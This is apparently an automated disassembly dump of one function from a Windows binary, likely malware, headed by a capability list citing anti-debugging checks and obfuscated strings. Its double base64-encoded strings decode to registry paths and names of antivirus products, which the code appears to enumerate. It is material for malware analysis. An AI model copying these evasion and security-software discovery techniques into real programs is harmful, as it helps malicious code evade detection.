Function at 0x401430
Capabilities:
Check for peb ntglobalflag flag
Contain obfuscated stackstrings
Get number of processors
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44fa4b
mov eax, dword fs:[0]
push eax
sub esp, 0x110
push ebx
push esi
push edi
mov eax, dword [0x46a2c8]
xor eax, esp
push eax
lea eax, [esp + 0x120]
mov dword fs:[0], eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x38], esp
push 0x454ad8
call fcn.00408ab5
and dword [esp + 0x144], 0
push ecx
mov dword [esp + 0x40], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x44], esp
push str.VTI5bWRIZGhjbVZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1FYWmhjM1E9
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 1
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x58], esp
push eax
call fcn.00408ab5
mov ebx, reloc.OLEAUT32.dll_SysReAllocString
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 2
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.UVhaaGMzUWdSbkpsWlNCQmJuUnBkbWx5ZFhNPQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x68]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 3
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 4
mov esi, esp
mov dword [esp + 0x88], esp
push 0x454c1c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 6
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 7
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 8
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x454c20
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 9
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0xa
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.UVZaSElFRnVkR2wyYVhKMWN5QkdjbVZsSUVWa2FYUnBiMjQ9
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0xb
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0xc
mov esi, esp
mov dword [esp + 0x90], esp
push 0x454d64
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0xe
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0xf
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x10
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x454d68
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x11
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x12
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.UVhacGNtRWdSbkpsWlNCQmJuUnBkbWx5ZFhNPQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x13
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x14
mov esi, esp
mov dword [esp + 0x90], esp
push 0x454ec4
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x16
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x17
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x18
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x454ec8
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x19
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x1a
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.UW1sMFpHVm1aVzVrWlhJZ1NXNTBaWEp1WlhRZ1UyVmpkWEpwZEhrPQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x1b
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x1c
mov esi, esp
mov dword [esp + 0x90], esp
push 0x454f94
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x1e
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x1f
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x20
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x454f98
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x21
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x22
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.UTI5dGIyUnZJRUZ1ZEdsMmFYSjFjdz09
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x23
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x24
mov esi, esp
mov dword [esp + 0x90], esp
push 0x455024
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x26
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x27
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x28
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x455028
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x29
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov byte [esp + 0x168], 0x2a
mov esi, esp
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.UlZORlZDQk9UMFF6TWlCQmJuUnBkbWx5ZFhNPQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x2b
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x2c
mov esi, esp
mov dword [esp + 0x90], esp
push 0x4550bc
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x2e
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x2f
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x30
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x4550c0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x31
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x32
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.VFdsamNtOXpiMlowSUZkcGJtUnZkM01nUkdWbVpXNWtaWEk9
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x33
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x34
mov esi, esp
mov dword [esp + 0x90], esp
push 0x4551bc
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x36
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x37
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x38
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x4551c0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x39
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x3a
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.VFdsamNtOXpiM04wSUZObFkzVnlhWFI1SUVWemMyVnVkR2xoYkhNPQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x3b
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x3c
mov esi, esp
mov dword [esp + 0x90], esp
push 0x45536c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x3e
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x3f
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x40
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x455370
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x41
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x42
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.UzJGemNHVnljMnQ1SUVsdWRHVnlibVYwSUZObFkzVnlhWFI1
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x43
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x44
mov esi, esp
mov dword [esp + 0x90], esp
push 0x455534
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x46
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x47
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
mov dword [esp + 0x144], 0x48
push ecx
mov dword [esp + 0x30], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push 0x455538
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x49
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x4a
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.VFdGc2QyRnlaV0o1ZEdWeklFRnVkR2t0VFdGc2QyRnlaUT09
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x4b
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x4c
mov esi, esp
mov dword [esp + 0x90], esp
push 0x4556dc
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x4e
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x4f
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x50
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push str.VTI5bWRIZGhjbVZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1RXTkJabVZsSUZObFkzVnlhWFI1SUZOallXND0
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x51
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x52
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.VFdOQlptVmxJRlpwY25WeklGTmpZVzQ9
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x53
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x54
mov esi, esp
mov dword [esp + 0x90], esp
push 0x45584c
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x56
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x57
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x58
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push str.VTI5bWRIZGhjbVZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1RsTkNWUT09
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x59
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x5a
mov dword [esp + 0x60], esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.VG05eWRHOXVJRE0yTUE9PQ
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x5b
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x5c
mov esi, esp
mov dword [esp + 0x90], esp
push 0x455970
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x5e
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x5f
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
push ecx
mov dword [esp + 0x18], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x1c], esp
push str.Norton_Security
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x20]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov dword [esp + 0x128], 0x60
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x30], esp
push eax
call fcn.00408ab5
push ecx
mov esi, esp
mov byte [esp + 0x148], 0x61
mov dword [esp + 0x30], esp
push ecx
mov eax, esp
mov dword [esp + 0x34], esp
push str.VTI5bWRIZGhjbVZjWEZONWJXRnVkR1ZqWEZ4SmJuTjBZV3hzWldSQmNIQno
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x48]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x62
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x48], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov byte [esp + 0x168], 0x63
mov dword [esp + 0x60], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x64], esp
push str.VG05eWRHOXVJRk5sWTNWeWFYUjU
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x58]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x64
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x78], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x65
mov esi, esp
mov dword [esp + 0x98], esp
push 0x455a50
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x67
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x68
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x69
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTI5bWRIZGhjbVZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwSTBNRGt5UXpaRUxVVTRPRFl0TkVOQ01pMUNRVFk0TFVaRk5VRTRPRVF6TVVSRk5uMWZhWE14
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x6a
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x6b
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VTNCNVltOTBJQzBnVTJWaGNtTm9JQ1lnUkdWemRISnZlUT09
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x6c
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x6d
mov esi, esp
mov dword [esp + 0x94], esp
push 0x455c24
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x6f
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x70
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x454ad8
call fcn.00408ab5
push ecx
mov esi, esp
mov dword [esp + 0x148], 0x71
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTI5bWRIZGhjbVZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y2UwSTBNRGt5UXpaRUxVVTRPRFl0TkVOQ01pMUNRVFk0TFVaRk5VRTVPVVF6TVVSRk4zMWZhWE14
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x38]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x144], 0x72
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x4c], esp
push eax
call fcn.00408ab5
push ebx
push ecx
mov esi, esp
mov byte [esp + 0x168], 0x73
mov dword [esp + 0x50], esp
push ecx
mov eax, esp
mov dword [esp + 0x54], esp
push str.VTNCNVltOTBJQzBnVTJWaGNtTm9JQ1lnUkdWemRISnZlUT09
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x5c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov byte [esp + 0x164], 0x74
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x68], esp
push eax
call fcn.00408ab5
sub esp, 0x1c
mov byte [esp + 0x19c], 0x75
mov esi, esp
mov dword [esp + 0x94], esp
push 0x455d94
call fcn.00408ab5
lea edi, [esp + 0xa0]
mov byte [esp + 0x19c], 0x77
call fcn.00401376
push eax
mov eax, dword [ebp + 8]
mov byte [esp + 0x12c], 0x78
call fcn.00408b4b
call fcn.00404503
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0040117e
or dword [esp + 0x128], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0040117e
push ecx
mov dword [esp + 0x28], esp
mov esi, esp
push ecx
mov eax, esp
mov dword [esp + 0x2c], esp
mov edi, str.UVhaaGMzUWdVSEpsYldsbGNnPT0
push edi
push eax
call fcn.0040890f
push esi
call fcn.0040f5fc
pop ecx
pop ecx
lea eax, [esp + 0x2c]
push eax
call fcn.0040f5fc
pop ecx
pop ecx
mov esi, eax
mov dword [esp + 0x128], 0x79
call fcn.00408a26
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push eax
call fcn.00408ab5
push ecx
mov esi, esp
mov byte [esp + 0x148], 0x7a
mov dword [esp + 0x34], esp
push ecx
mov eax, esp
mov dword [esp + 0x38], esp
push str.VTA5R1ZGZEJVa1ZjWEUxcFkzSnZjMjltZEZ4Y1YybHVaRzkzYzF4Y1EzVnljbVZ1ZEZabGNuTnBiMjVjWEZWdWFXNXpkR0ZzYkZ4Y1FYWmhjM1JjWEVScGMzQnNZWGxPWVcxbA
push eax
